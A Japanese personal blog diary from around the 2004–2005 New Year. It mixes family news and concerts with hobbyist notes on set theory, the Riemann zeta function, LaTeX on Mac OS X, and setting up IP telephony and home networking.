本日モカちゃん、サイエンス倶楽部でホルマリン処理済みの豚の胎児の解剖をしたそうで、いやはや案外大胆なお題目だこと(^^。さらに血管にラテックス(液体合成ゴム)を流し込むという実験も行ったそうで、そうすると各内蔵の血管全体の構造がよく見えるそうな。
実験終了後、こういう場合はあんまりお肉を食べたくなくなるのが普通だと思うのですが、モカちゃんの晩ご飯のご希望はなんと「トンカツ」。まあそれもなんなので、結局鶏肉ということになったのですが、いやはやなかなか強靭な神経をお持ちのようで...(^^。

2005年1月15日(土)

静岡ソロコンサート
朝の 9時半に K さん T さんの車に便乗させて頂き、名古屋から静岡に向かったのです。途中高速道路から観覧車が見えて、なんかパーキングエリアみたいなところにあるのです。「面白そうだから乗ってみようか」ということで大人三人で乗り込んだのですが、特に周りの景色が良い訳ではなかったのですが、案外楽しかったのです(^^。

パーキングエリアの観覧車
観覧車から撮った高速道路

静岡に到着後現地の下見をして、その後 K さん T さんとケーキを食べたのです。ケーキはとてもおいしかったのですが、ちょっと多めに注文しすぎて後半苦しかったです(^^。
浩子さんは昨日以上に絶好調という感じで、私にとっては今年度最後のソロコンサートなのですが、ゆったりとした気分でとても楽しめました。ピアノのタッチと歌の調和に関して何か心境の変化があったのかな。途中であまりに気持ちよくって、少し居眠りをしたのは絶対に内緒なのです(^^。
コンサート終了後、 Joe さんと一緒に予定より一つ前の「こだま」で小田原まで一緒に行き、そこから東海道線に乗り換え、藤沢に到着が 23時頃でした。K さん T さん Joe さんにはこの二日間色々お世話になりました(^^。

2005年1月14日(金)

名古屋ソロコンサート
14時の「ぷらっとこだま」で品川から名古屋へ向かい、名古屋到着が 16時40分頃。開演が 19時ということで、時間に若干余裕があったので、ホテルにチェックインして 18時にホテルを出発したのです。途中の地下鉄で O さんと会い、彼は長年の Mac 使いなので、地下鉄の中で色々と使い方を教わったのですが、彼がリュックから取り出したのがなんと 17インチ PowerBook G4 だったのでびっくり(^^。コンサートは円形風の会場で、浩子さんも絶好調でとても楽しめました。

2005年1月13日(木)

一回休み

2005年1月12日(水)

アクセス数の謎
昨年の 7月から真面目にアクセス数を数え始めたこのページですが、こちらのグラフのように長期低落傾向が続いていたのであります(^^。プロット数が 200程度なのは統計を取りだしてから大体 200日経過したという意味です。また 7日の周期らしきものが見えるのは、平日に会社で仕事をさぼって来られる方が多いらしく、土日のアクセス数は減少するからです。横軸が昨年の 7月6日からの経過日数なのでちと分かりにくいのですが、昨年の 7,8,9月はそこそこ順調で、10,11,12月とこちらは減少の一途をたどっていたのです。
実際には、まめに遊びに来てくださるありがたい方は大体 10人前後でして、その他のアクセス数など本当はどうでもよいのですが、まあ多いにこしたことはありません(^^。
ところが、この数日急にアクセス数が回復してきまして、特に変わったことしたわけでもないのにどうしたのだろうな～、と不思議に思っていたのです。
もちろん年が明けて「検索エンジンの傾向」が変化した、ということも考えられるのですが、いまいち納得がいきません。ということでグラフを眺めて考えたのですが、どうも
数学、特に集合論ねたを書いてしばらくするとアクセス数が増える(^^
傾向があるような気がしてきたのです。そう思って集合論雑記目次ページを見ると、確かに昨年の 10,11,12月頃からさぼりの傾向が顕著になっており、今年の 1月9日、久々に数学ねたを書いたのでした。
数学ねたを見たくてわざわざこのページに来て下さる方がいるわけはなく、この傾向も不思議ではあるのですが、数学ねたの数式は全部 CGI 出力の GIF 画像なので、ひょっとすると、
多量の CGI が新規にアップされたページは一時的に検索エンジンのランクが上がる(^^
なんてことがありうるのかも知れません。もちろん数式 CGI のアクセスはカウントに入れてなく(これ入れたら 100万アクセスも夢では...^^)上記の推測もあんまりあてにはならないのですが、これからはもっとまめに数学ねたをアップする必要がありそうです。でも理解するのも書くのも両方とっても時間がかかったりするのです(^^。

2005年1月11日(火)

TeXShop
最近は画像埋め込みが便利になったということもあり、久々に LaTeX にはまっているのですが、ネットをうろついていたら TeXShop なるものがあるそうで、試しに使ってみたらこれがなかなか便利なのです。
前にも書きましたように Mac OX X 上で LaTeX を使用する場合 DVI 形式よりも PDF 形式を主体とした環境の方が便利なのですが、ちと困っていたのは画像を埋め込むと xdvi では画像が変な位置に表示されたり、さらに動作が異様に遅くなるという点だったのです。そこで Mac OS X 付属の preview なる PDF のヴューアーを利用していたのですが、PDF ファイルの再読み込み機能らしきものが見つからず、 platex コマンドでコンパイルするたびに preview を立ち上げ直す必要があり、それがとっても面倒だったのです。
ところが TeXShop を使用すると、PDF 出力を前提としたコンパイルからプレヴューの流れが統合化されていまして、上記の問題は全く発生しないのです。
さらに TeXShop の基本的な機能は、裏で platex コマンドや dvipdfmx コマンドを動作させる、エディット・コンパイル・プレヴューの統合環境なのですが、うれしいことにエディターは外部のものを使用することも可能でして、私の指は Emacs 以外受け付けないので、編集に関してはこちらを使用することになります。
インストールや使い方は極めて容易で、実際に使用している状況はこんな風になります。Emacs 側で編集して「タイプセット」なるボタンを押せばプレヴューまで完了です。いやはやそれにしても世の中便利なものを作って下さる方がいらっしゃるもので、LaTeX + OmniGraffle により個人的にはかなり理想に近いドキュメント作成環境が整ったと思うのです。
尚、TeXShop 関連の日本語の情報はこちらを参考にさせて頂きました。

2005年1月10日(月)

Riemann Zeta 関数の謎
[集合論雑記目次]
長年の疑問ではあるのですが...。
いやいやもちろん Riemann の zeta-関数の謎にせまろうなどという大げさな話ではなく、
$|\zeta(1/2~+~yi)|~\quad~({0}\le{y}\le{20})$
をプロットすると下のようなグラフになるのです。グラフの $1/2+10i$ と $1/2+15i$ の間に零点がありますが、Riemann 予想とは
$\zeta(z)$ の自明でない零点はすべて $\Re(z)=1/2$ の上にある
なる未解決問題である事実は良く知られていると思います。

ところでこのグラフを良く見てくだされ！！。Zeta-関数の
${\Huge~\zeta}$
を寝かせた形にとっても良く似てると思うのです。これが zeta-関数という名称の由来とは思うのですが、どこを見ても書いていなかったりして、20年くらい悩みに悩んでいるのです(^^。誰か知っている人がおられましたら教えて頂けるととってもうれしかったりします。
[2005年6月7日追記]
どうもおおはずれだったようで。上の形を見たときは間違いなくそうだと思ったのですがねえ(^^。

2005年1月9日(日)

測度と可測基数
[集合論雑記目次]
実数直線上のルベール測度に関して、選択公理を仮定すれば非可測な集合が存在することは良く知られていますが、「測度」を考える場合、ルベーグ測度の平行移動に関する測度不変性を仮定しないものを考えることにより、可測性に関してして非常に興味深い事実が得られるとともに、測度と巨大基数との関連に対する深い知見が得られるのです。
[測度の定義]
集合 $M$ を考え $\wp(M)$ から実数の $[0,1]$ 区間への写像 $\mu~:~\wp(M)~\rightarrow~[0,1]$ が次の条件を満たすとき $\mu$ を $M$ 上の測度(measure)と言います。
${\rm~(a)}\,~\mu(\emptyset)=0,\,\mu(M)=1\cr~{\rm~(b)}\,~{X}\subset{Y}~\rightarrow~\mu(X)\leq\mu(Y)\cr~{\rm~(c)}\,~\mu(\{x\})=0\,\,{\rm~for~all}\,\,x\in{M}\cr~{\rm~(d)}\,~\mu(\bigcup_{n\in\omega}{X_n})~=~\sum_{n\in\omega}\mu(X_n)~\quad~({X_n}\cap{X_m}=\emptyset\,\,{\rm~for}\,\,{n}\neq{m})$
特に $\mu$ が 0,1 のみを値とするとき $\mu$ を二値測度(two-valued measure)と称します。(b) の条件は自明な(principal な)測度を排除します。二値測度は直感的に非常に分かりにくいのですが、その存在は後で示すように「可測基数」なるものの存在と同値であり、可測基数がかなり巨大であることを考えるとある意味当然なのです。
二値測度を考えることと σ-完備超フィルター(σ-complete ultra filter)を考えることは同等です。
[二値測度と σ-完備超フィルター]
$\mu$ を $M$ 上の二値測度とするとき
${\cal~F}~=~\{{X}\subset{M}\,|\,\mu(X)=1\}$
は $M$ 上の $\sigma$ -完備超フィルターとなる。
逆に ${\cal~F}$ を $M$ 上の σ-完備超フィルターとするとき
$\mu(X)=1\quad~{\rm~iff}\quad~X\in{\cal~F}\cr~\mu(X)=0\quad~{\rm~iff}\quad~X\not\in{\cal~F}$
により定義される $\mu$ は $M$ 上の二値測度となる。
証明はきわめて容易です(というか定義そのもの)。
[Atom]
${X}\subset{M}$ が次の条件を満たすとき atom と呼びます。
${\rm~(e)}\,\mu(X)>0$
${\rm~(f)}\,{Y}\subset{X}$ のとき $\mu(Y)=0$ または $\mu(Y)=\mu(X)$
Atom が存在しない測度を atomless と呼びます。ここで可測基数の定義を行います。
[可測基数の定義]
κ を非可算無限基数とするとき κ 上に κ-完備超フィルターが存在するときκ を可測基数と呼ぶ
今回は証明しませんが測度に関して次の著しい性質が成立します。
[Ulam の定理]
$\mu$ を $M$ 上の測度とするとき次のいずれかが成立する。
(i) $M$ 上に二値測度が存在し $M$ の基数は最小の到達不可能基数と等しいかより大きい。
(ii) $2^{\aleph_0}$ 上(すなわち実数直線上に)に atomless な測度が存在する。このとき $2^{\aleph_0}$ は最小の弱到達不可能基数と等しいかより大きい。
(ii) の場合連続体仮説が成立しないことはもちろんです。また次の事実も成立します。
[最小の可測基数]
σ-完備超フィルターが存在する最小の基数 κ は可測基数。言い換えるとその上に κ-完備超フィルターが存在する。

次回からは上記結果の証明を記述する予定です。
ADSL モデムファームウエアーヴァージョンアップ
本日の未明二時半頃、急に ADSL モデムがリンクダウンしまして、しばらく様子を見ていたのですが、全然復旧しないのです。これは何か障害が起きたのかと思いまして、AH-K3001V を PowerBook に接続して NTT ページの障害情報を見たのですが、特にそれらしき記述はありませんでした。そんなことしているうちに20分くらいでリンクが復旧しまして、やれ良かったとブラウザでモデムの状況を見たところ、ヴァージョンアップ情報が(^^。
そういえばヴァージョンアップ情報自動通知の設定にしておいたのでした。
さっそく NTT 東日本ページの NVIII ドライバーのありかを眺めると、Ver2.04 から Ver2.40(ちとまぎらわしいです)への更新で、お品書きによりますと、
本装置を電話局から中～長距離でご利用中のお客様において、リンク速度の向上を図りました。
なるとってもうれしい変更なのです。そこでさっそくダウンロード/更新してリンク速度を見たのですが、
全く変わっていません(-_-)
具体的に書きますと下りが 2646Kbps、上りが 866Kbps なのです。いやはや前の契約では一時、下り 3Mbps の大台に乗ったこともあるのですが、どうしてこんな風になっちゃったのだろう。しかもルータ兼IP電話機能付きとはいえ、月額のモデムレンタル料 100円高くなっちゃったし。
実はそのあたりの損失を取り戻そうとしたのが、昨年末から今年始めにかけての IP 電話導入目的の一つなのですが、こちらの方で元がとれて、さらにおつりが来るほどと思われるので、がまんするしかないのかも知れません(^^。
余談ですが ADSL の契約を変えてからは古いモデム MNIII を使用してもリンク速度は上がりません。さらに昔はレンタルのモデムを変更すると取りにくる気力があったようですが、最近は「どこどこにご返送ください」とは書いてありますが、別に返さなくても特に問題ないようなので、こちらは予備として大切に保存してあるのです。
＃そりゃそうと、リンクダウンとヴァージョンアップのお知らせは関係あるのだろうか。
＃謎ですな。もしかして局側のファームも入れ替えてたのかな。

2005年1月8日(土)

モカちゃん彗星を見にゆく
今日はモカちゃんが所属している藤沢市科学少年団で「星の観察」を行ったのです。あんまりお天気がよくなく大変だったようですが、なんとか雲の隙間からマックホルツ彗星が見えたそうで、これで親子三人おんなじ彗星を見ることができました。別にどうということはないのですが、なんとなくうれしいのが不思議なとことであります(^^。

2005年1月7日(金)

鶴は千年亀は万年
本日会社でちょっとしたネットワークのトラブルがあったのですが、おかしくなる原因らしき PC を取り除くと正常に戻り、もう一度繋ぎ直すとまた調子悪くなるという状況だったのです。そんなわけで、そのあたりに「ばかハブ」を繋いでネットワークをモニターしていたのですが、調子が悪くなるまで 30分位かかる場合があったのです。
それでも調子が悪くなるまでネットワークのダンプをもう一人の人と眺めていたのですが、「見てるとなかなか起きないんだよね～」という話になりまして、このとき思いついたのが、なんと人類史上最大と思われる大発見なのです。
つまりです。カップラーメンが出来るまでの 3分間というのは非常に長いと感じるわけで、もう永久に出来ないんでは思ってしまうほどであるということは、誰でも経験したことがあると思います。さらにこれがカップ焼きそばとなると、お湯切りのことまで考えなくてはいけなくって、さらに長く感じるのも人類の本能であると思うのです。
ということはですな。つまりカップラーメンもしくはカップ焼きそばを作っている 3分間というのは、信頼のおける統計によりますと、主観的には 30分の時間に相当することが実証されているのです。まあここまでは誰でも考えつく平凡な事実なのですが、私にしか出来ない今回の大発見は、
起きているときはずーっとカップラーメンを作って食べ続ければ主観的な寿命が 10倍になる(^^
という天才的なアイディアなのです。さらにカップラーメンではなくカップ焼きそばを採用すれば、上記の理由によりさらに寿命が延びると考えられ、おそらく亀の一万年は無理としても、鶴の千年に到達できると推測されるのです。
というわけで今回の大発見は、時間という物理的な現象、長生きするという医学的・平和的側面、カップラーメン・カップ焼きそばの売り上げが増大するという経済的側面、さらには売り上げ増加によりこれらの商品がますますおいしくなるという化学的側面に対する歴史的な貢献であり、史上初のノーベル賞平和賞・物理学賞・医学生理学賞・経済学賞・化学賞同時受賞は間違いのないところなのです(^^。
全然関係ない話ですが、マンションのベランダで、双眼鏡を使ってプレアデス星団の近くを探したら、彗星らしきものがぼんやり見えました(^^。

2005年1月6日(木)

OmniGraffle
ちょっと前に書きましたように、Mac OS X 上ではなかなか便利に LaTeX を使うことが出来まして、仕事でかなりの部分をしめる文書作成の効率も以前より良好になったと思われるのです。
ところがもう一つ問題点がありまして、個人的には論理的な物事を文書化する場合、論理的に記述すれば、いわゆる「図」と称するものを挿入する必要はないと考えているのですが、
- そもそも論理的なものを論理的に表現する文章力がない。
- 場合によっては図がある方が分かりやすい場合がある。
- 図を書かないと理解できない人もいたりする。
- 本質的ではなくとも、ある程度図が入っている方が見栄えが良いし、ページ数もかせげる。
等々の現実がありまして、全く図を描かないで仕事するというのも難しいのです。
もちろん私の場合、ペイント系ソフトウエアーは猫に小判・豚に真珠という感じで、持ってても使いこなすことは不可能です。実際には丸とか四角を矢印等の線で結んだ程度のものが描ければ十分なのですが、世の中不条理なもので、ペイント系に関しては GIMP など素人目には非常に優秀だと思われるフリーソフトが存在するのですが、ドロー系に関しては例えば Tgif などあることにはあるのですが、いまいち使いにくかったり、日本語入力が大変でなんとか入力可能な状態にしても、文字の見栄えがとっても悪かったりするのです。
ところが昨日 PowerBook の /Application/ フォルダーを覗いてたら、 OmniGraffle なるソフトが入っていまして、「どうせ機能限定試用版か期限付きのものだろうな～」と思って起動したところ、ちゃんとしたライセンス付きのヴァージョンでして、さらにちょこっと使った感じではなかなかの優れものなのです。おそらく Visio なんかに比べると機能的には若干劣るのでしょうが、私が使用する範囲ではこれで十分過ぎるくらいです。作業はこんな感じで行い出来上がりはこんな風です。デーモン君の顔が...(^^。
おうちのネットワーク

割と気に入ったのでしばらく使用することにします。
＃個人的には「オムニグループ」というと、すぐに暴走して人を殺しまくる
＃ロボット製造会社というイメージがあるのが難点です(^^。

2005年1月5日(水)

Re: IP電話の効用
実を言いますとおうちで IP電話を導入したのは、例のごとくたかたにさんのまねをしたという面が大きいのですが、日記を拝見いたしますと、せっかくの導入のかいなくあんまり得されてないようです(^^。
ところでおうちの場合は、たかたにさんとこみたいに IP電話契約の追加料金が無料ではなく、月額 300円程度 IIJmio に支払う必要がありまして、私自身はほとんどおうちの電話を使うことがないので、もしかしたらあんまり得しないどころか、損をしてしまうのではないかと心配になってきたのです。
ところがです！！。奥さまの話によりますと、本日福島に住んでいる私の姉と一時間以上電話でおしゃべりをしたそうで、どれどれとネットで IP 電話の課金を調べたところ大体 200円(笑)だったのです。ふふふふふっ、もし IP 化しないでこれだけしゃべれば、間違いなく 1,000円以上かかってたでしょうな(^^。
というわけで、本日一日で少なくとも 2ヶ月分の元をとったことになりまして、今後も月に一二回程度は市外への長電話があるでしょうから、今のところ電話の IP 化は大成功なのです(^^。

2005年1月4日(火)

やっとこできた Mac からの印刷
おうちのご家族さま PC に接続されている Canon BJS600 なるプリンターに PowerBook から直接印字できなくて、少々不便な思いをしていたことは前に書きました。
キヤノンの Mac 用ドライバー自体は、プリンターを USB に挿せばもちろんきちんと動作するのですが、CUPS のフィルターとしては供給されていないので、リモートに関しては全く役に立たないのです。
ところが本日ネットをうろついていたら、もともと Mac OS X についてくる Canon S800 なる機種のプリンタードライバーを指定すればほとんど問題ないそうで、さっそく実験したところ、前回はなぜか「Windows プリント」を選択してもプリンターが現れなかったのに、今回は共有プリンターのアイコンも現れ、それを指定したところ全く問題なく印刷できたのです。
いやはやこれは便利になりました。プリントサーバーがご家族さまマシンなので、毎回電源を入れなければいけないという難点はあるのですが、一度電源さえ入れてしまえば、いちいち Windows PC の前に行って PDF ファイルを持ってきて印刷する必要がなくなりました。また a2ps-j を使用してテキストファイルを直接印刷すると文字化けするのが難点なのですが、次のフィルターを通せば問題が解消するようです。ただし ps2pdf, pdf2ps は EasyPackage で導入した /usr/local/bin/ のものを使用する必要があります。
$ a2ps-j textfile | ps2pdf14 - - | pdf2ps - - | lpr
ほんとは家庭用 PS プリンターなんてあるとかっこいいのですが(^^。
宿題追い込み
私の勤めている会社は今日までお休みなのですが、実を言いますと昨年受講した講習会のレポートを提出しなければいけなかったりします。ほんとのことを書きますと、締め切りは昨年末だったのですが、すっかり忘れていて、休み明けには提出するということで担当の方に頭を下げたのです(^^。
もちろん休みに入る前には早々に書いてしまおうと思っていたのですが、案の定と言いますかまだ全然書いてないので、いやはや休み最後の日だというのに今晩も夜遅くまで起きてなきゃいけない予感がするのです。下手すりゃ徹夜になっちゃうかも(^^。
三日出勤すればまたお休みなので少々の無理は大丈夫かな...。
↑調べてみたら、テキストはちゃんと休み前に持って帰ってきたのですが、レポートの課題を書いた紙をを会社においてきてしまったようです。これはあやまるしかありませんな(^^。

2005年1月3日(月)

Mac OS X 上の LaTeX 覚え書き
最近は OpenOffice や NeoOffice/J を使う場合も多く、特に NeoOffice/J は Java で記述され X を通さないで動作するので、Mac ネイティヴなきれいなフォントを使用可能で、案外使用頻度が高いのです。
そうは言うものの真面目な文章を書く場合にはやはり LaTeX が断然便利です。 LaTeX でいつも苦労するのは画像の埋め込みなのですが、もともと EPS 形式画像の埋め込み自体ははほとんど標準化されている状況であると思います。
ところが Mac OS X の場合、標準的なドキュメント形式は PDF であり EPS 形式の画像等を利用するのは不便ですし、無理矢理変換しても画質が劣化する等の問題点があるのです。逆に PS 系のファイルや PNG,JPEG 等のファイルを PDF に変換するフィルターは標準装備されていて、こちらは非常に便利に使用できるのです。そこで「これはなんとかならんのかな～」とネットをあさっていたら、やはり便利なものを作って下さる方がいらっしゃるようで、LaTeX のソースに PDF を直接埋め込む記述をすることが可能らしいのです。以下は LaTeX に PDF を埋め込む方法の覚え書きです。
- LaTeX のソース(sample.tex と仮定します)に
  \usepackage[dvipdfm]{graphicx}
  なるおまじないを書いておきます。
- 埋め込みたい画像を picture.pdf と仮定します。このとき事前に、
  $ ebb picture.pdf
  なるコマンドを実行すると、カレントディレクトリーに picture.bb なるファイルが生成され、このファイルに元ファイルのジオメトリーが記述されます。このファイルが存在しないと後述の platex コマンドがエラー終了します。
- sample.tex の画像を埋め込みたい部分に
  \includegraphics[scale=0.5]{picture.pdf}
  という感じの記述を行います。
- 次のコマンドを実行します。
  $ platex sample.tex && platex sample.tex
  $ dvipdfmx sample.dvi
これにてカレントディレクトリーに sample.pdf が生成され配布するなり印字すれば良いのです。尚、\includegraphics のオプションとしては scale 以外に、 width,height,clip,angle 等が使用可能です。こちらがほとんど意味のない出力例です(^^。
しらたまちゃん
年が変わりパールちゃんの喪も明けたので、新しいハムスターお迎えしました。モカちゃんが「日本風の名前と外国風の名前どっちがいい」、というので何も考えずに「今度は日本風の名前にしたら」と言ったところ、「しらたまちゃん」という名前に決定しました。

本当は昨日おうちに来たのですが、やはり慣れないということで、なかなかおうちから出てこなくって、写真が撮れなかったのでした(^^。

2005年1月2日(日)

電池大量購入
ネットで調べると Apple Wireless Mouse の電池の寿命は、カメラ用単三リチウム電池二本を普通に使って一月半程度だそうで、私の場合は一日最低 12時間は使用し、さらにマウスの電源を切るのを忘れる場合が多いので、良くて一月程度しかもたないと思われるのです。
さすがにリチウム電池は高価なので、普通のアルカリ乾電池でしのごうかと考えていたのですが、こちらはネットの情報によりますと、かなり大きな瞬発電流が要求されるらしく、ほとんど使い物にならない程度しか持たない場合もあるそうなのです。そこで購入したのが Panasonic のオキシライド乾電池でして、大量に購入すると案外安く、単三電池 20本で 1600円なり、すなわち一本 80円程度の価格なのです。
希望的な見積もりとしてはリチウム電池の半分くらい持ってくれればうれしく、この場合半月に一度の交換となり、月のランニングコストが 320円程度となります。まあこの程度ならば利便性とのトレードオフとしては我慢できる価格です。もちろん最初におまけでついてきたリチウム電池がいつまで持つのかが最大の問題なのですが、こちらは切れるのを待つしかありません。
というわけで、買う前に調べなかったのが悪く、存外ランニングコストがかかるのに愕然としているのですが、そもそも購入のときなぜか「無線の場合は電池が必要である」ということに気がつかなかったのは絶対に内緒なのです(^^。
＃箱を開けたら電池が入っていたのですごいショックでした(^^。
IP 電話開通
昨年末に設定した IP 電話ですが、実を言いますとまだ長めの電話線とか準備していなくて、 VoIP ランプが点灯するところまでしか確認していなかったのです。そこで本日電話線を買ってきて実際に繋いでみたのですが、あたりまえのこととはいえ、全然問題なく接続することが出来ました。
自分の PHS にかけて奥さまと話をしてみたのですが、音質に関しても特に問題がなく、遅延も 0.1 秒程度という感じで実用上問題ない量です。それにしてもあのちっちゃい ADSLモデムに、モデム機能・ルーター機能・VoIP 機能(これは専用の DSP が必要と思われる)が入っちゃうのですから、いやはやこういう方面の進歩はずいぶん速いものです。
110 や 119 の場合は IP 経由では繋がらないそうなので、この場合も強制的に交換機経由とするため、先頭に 0000 を付加する必要があるのかよく分からなかったのですが、試しに 177(天気予報)で実験したところそのまま通じたので、おそらく消防署等の場合も 0000 付加なしで通じると思います。いやいやもちろん 110 や 119 で実際に実験したわけではありません(^^。

2005年1月1日(土)

お正月
新年あけましておめでとうございます。
新年と言えば目標です。なので思いついたまま列挙します。
1. 今年こそは散財を少なくする。いや～、去年はそんなに多くならないはずだったのですが、年末の PowerBook 衝動買いが決定的でした(^^。
2. 去年はコンピューター関連の知識に対する興味がなくなってしまった年でもあったのですが、仕事柄少しは勉強しなくてはいけないかも知れません。でも興味がもてない勉強をしたためしがないので、この目標は達成不可能と思われます。興味をもてれば良いのですが、次項の内容に比べると現代の「コンピューター理論」とか「計算機理論」と称するものは、全く理論と言えないような状況だと思うのです。本当に才能がある人は、このような混沌とした状況から本質をつかむことができるのでしょうが、私は才能がないし、今後勉強に費やせる時間がそれほどあるわけでもないので、やはりきちんとした理論の勉強に時間を使いたいのです。
3. 昨年の後半ほとんど勉強しなかった数学関連趣味の勉強を再開する。二ヶ月位さぼっていたら、前に勉強したところをほとんど忘れてしまったのが辛いところです。どうも私は才能がないのに数学が大好き、というのが一生直らないようで、これが今年の最大目標です。
4. 2 と矛盾するようですが、理論ではなくコンピューターの使い方に関してはもう少し勉強したい。仕事関係では Linux で個人的には Mac OS X と FreeBSD をもう少し上手に使いこなせるように。それから Mac 上で Linux/i386 やLinux/arm のクロス開発環境も構築したい。個人的に Linux はどうしても好きになれないので(もしかして Windows より嫌いかもしれない)、いくら仕事とはいえ Linux マシン上で開発を行うのは極力避けたいのです。
とまあ適当に書いたのですが、はてさてどれだけ実践可能なのか。とりあえずお正月中にクロス開発環境は整備する予定です。
＃どうも Linux 環境でないと glibc のコンパイルが不可能なようで、
＃glibc はどこかからバイナリーを持ってくればよいのですが、それも不愉快なので
＃とりあえず断念(^^
＃この人は正月早々なにやってるんだか...。

2004年12月31日(金)

おおみそか
ということで、今年もあと一日となりましたが、実はまだ年賀状を書いていなかったりします(^^。ほんとは昨日書くはずだったのですが、IP 電話関連の設定ではまってしまい...。いやはや今年も最後まで「ぎりぎりになってもやらない」性格は直らなかったようで。
それでは来年も宜しくお願いいたします。

2004年12月30日(木)

意外と大変 IP 電話
下の記事の ACR 機能さえ殺せば問題なく繋がると思った IP 電話なのですが、実際に IIJmio と契約して電話番号等の情報をアップロードしてもモデムの VoIP ランプがつかないのです。そこで色々実験してみると FreeBSD の ppp に発呼させるとだめで、モデム本体に発呼させるとうまくゆくようなのです。考えてみると通常 IP 電話機能はルーターの内側で働くので、この現象は当然といえば当然なのですが、解決法としては、
- NVIII を NAT ルーター兼 IP フィルターにしてしまう。HTTP や ssh ポートは R30 へフォワードする。
- NVIII を単なる NAT ルーターにする。IP は DMZ 機能で全部 R30 に流して、IP フィルターともう一段のルーティングは R30 で行う。
あたりしか思いつかず、どちらにしても今の環境を変更する必要があります。というわけで、とりあえず二番目の例を試してみたのですが、どうも R30 の設定でへまをやったらしく、全然ネットと繋がらなくなってしまったのです。仕方ないので大急ぎで元の設定に戻したのですが、なんか FreeBSD ルーターはあきらめて、最初の例にしてしまった方がらくちんなのかも知れません。
＃他に良い方法を知っている方がおられましたら教えて下さい。
結局一番目の方法で運用開始しました。FreeBSD/R30 は NAT ルーターから単なるルーターに変更したので、他の PC のデフォルト経路は変更しなくても大丈夫だったりします(^^。
IP 電話検討
高いプランにしたらかえって遅くなったという情けない ADSL ですが、NVIII なる新しいモデムには IP 電話機能がついておりまして、スプリッターを通ったアナログ側をモデムのアナログ入力とし、さらに今までの電話機をモデムのアナログ出力側につなぎ直し、IIJmio と月額 294円(税込み)を支払う契約を結ぶことにより使用可能となるようです。
おうちの場合一月の通話代が 1,000円にも満たない場合があるので、そんなに得するわけではないのですが、それでも市外への通話時間が長く月額数千円になる場合もあるので、トータルとして損はしないような気がします。
私の認識が間違っていなければ、着信に関しては今までと全く同様に使用可能で、発信の場合、特に市外への通話料金は安くなり、もし IP 経由で問題がある場合 0000 を先頭に付加することにより、通常の交換機を通した電話としても使えるのだと思います(最悪アナログ電話を元の通りに挿し直せば...)。
↑間違ってたらつっこんで下さい(^^。
というわけで IP 電話化を実行したいのは山々なのですが、実をいいますとおうちの電話は 10年ものでして、さらに日本テレコムの LCR(現在の ACR) 機能が入っていたりして、この機能がついていると IP 電話のアナログ部分としては使用できないそうな(そもそもおうちは KDDI とマイラインプラス契約を結んでいるので LCR は意味ないし)。ところがあまりに古い電話なので、電話機本体での解除の仕方が分かりません。仕方ないのでリモートでの解除を申請しようと調べたのですが、例のごとく解約の場合はネットではなかなか申請の方法が分からないのです。というわけでサポートにメールを投げたのですが、日本テレコムは「なんとかバンク」だったか「なんとか BB」に買収されたはずなので、きっと対応良くないんだろうな。困ったものです。
＃未明二時頃にメールに対して、朝の十時半にこれから解除のデーターを送信する
＃という非常に丁重な電話をいただきました。上記記述に関してはおわびして
＃取り消します。

2004年12月29日(水)

しごとおさめ
今日からお休みのところも多いと思いますが、私が勤めている会社は明日からお休み、ということで本日仕事納めなのです。さらに、今日は普通の仕事をする訳ではなく、大掃除をしてお昼になったら帰ってもよいそうなのです。まあものを整理するという能力が欠如しているのか、掃除というのはとってもとっても苦手で、周りの人たちに迷惑をかけるだけだとは思うのですが、いやはや本年中はいろいろとお世話になりました＞会社の方々。
＃てなこと書いてるうちに大雪が降ってきました。果たしておうちに帰れるのか...。

2004年12月28日(火)

解ける・解けない？
例えば三体問題や一般に n 体問題が「解ける・解けない」(25日の記事) という場合、常識的な意味は直感的に分からないではないのですが、正確なる意味付けはどのようにすれば良いのでしょうか。いろいろな考え方があると思うのですが、思いつくままにいろいろなパターンを非論理的に書いてみました。
- 与えられた初期条件もしくは境界条件に対する解の存在と一意性が証明されている。
  この場合に具体的な数値解が求まるかどうかは全く問題ではないと思います。解の具体的な数値が計算不可能である可能性もあり得るかも知れません。
  逆にもし解の非存在が証明された場合、もちろん「その方程式は解けない」ということになるのですが、この場合新しい概念を導入すれば「拡張した意味では解ける」可能性もあり、例えば「超関数」の概念などはその最たる例であると思います。
- 解は存在するがその具体的数値の計算アルゴリズムが原始再帰的ではない。
  不勉強にして微分方程式に関するこのような具体例は知らないのですが、とても楽しそうな例だと思います(^^。数論的な問題に対して、このような例は(私でさえ...)いくらでも作れます。
- 解は存在して具体的数値を求めるアルゴリズムも存在するが、その計算に非常に時間がかかる。精度の増加に対して指数関数時間のアルゴリズムしか知られていない。NP-complete だったりして(^^。
  これもなかなか楽しい例だと思います。
- 解は存在して原理的に高速なアルゴリズムが存在するが初期値に対して不安定である。
  三体問題などはこの例なのでしょうか。それとも上の例の困難さも持っているのかな？
  いずれにしても物理学では「数値的な精度の良い予測ができない」ということをもって「解けない」と称することは想像できます。
- 解は存在して高速に求まるが初等関数ではない。
  さすがに今の時代、これをもってして「解けない」と称する人はいないと思うのですが...。
- 解が存在する、もしくは解が存在しない、いずれの命題も証明不可能である。
  この場合は具体的な計算方法が求まる見込みは全然ないので、物理的には「解けない」と同値かもしれません。
という風にほとんど意味なくいくつかのパターンを記述しましたが、大前提として解の存在と一意性は証明されているとして、「解けない」と称するのは計算的な困難とともに、解の持つ(数値的な意味でなくても良いのですが) 対称性なりなんなりの等の性質がよくわからない、という場合のことを言うような気がするのですが、どんなもんでしょうか。

2004年12月27日(月)

iTunes を使ってみる
PowerBook で ThinkPad にためておいた MP3 ファイルを聴いてみたところ、ノート PC にしては案外音質が良いのです。少なくとも ThinkPad よりは良好(^^。
そこで手持ちの MP3 ファイル群、全部で 5G バイト程度のをサーバーからもってきたのですが、ファイル名は単なる連番で、別に曲名を書いたファイルを CD に対応するディレクトリーごとに手作業で作ってあったという情けない状態だったのです。
これを iTunes で再生するともちろん聴くことは可能なのですが、全部 ~Music 以下のディレクトリーにコピーされて、もちろん曲名との対応は全然ないので、訳が分からなくなってしまいました。そこでオリジナルの浩子さん CD 全部で三十数枚をを持ち出して、再度圧縮ファイル作成です。私は初めて使うのですが、CD を入れて「CD トラック名を取得」なるメニューを選ぶと、自動的にインターネットから曲名をとってきてくれるようで、これはとてもらくちんです。

さらに MAC OS X の場合 MP3 でエンコードするより、AAC なるフォーマットでエンコードした方が同じ圧縮率で音質が良いそうで、実際 128Kbit で比較すると確かに違いがわかります。というわけで、192Kbit の圧縮を選択しまして、昨日延々数時間かけて AAC へのエンコード作業を行いました。
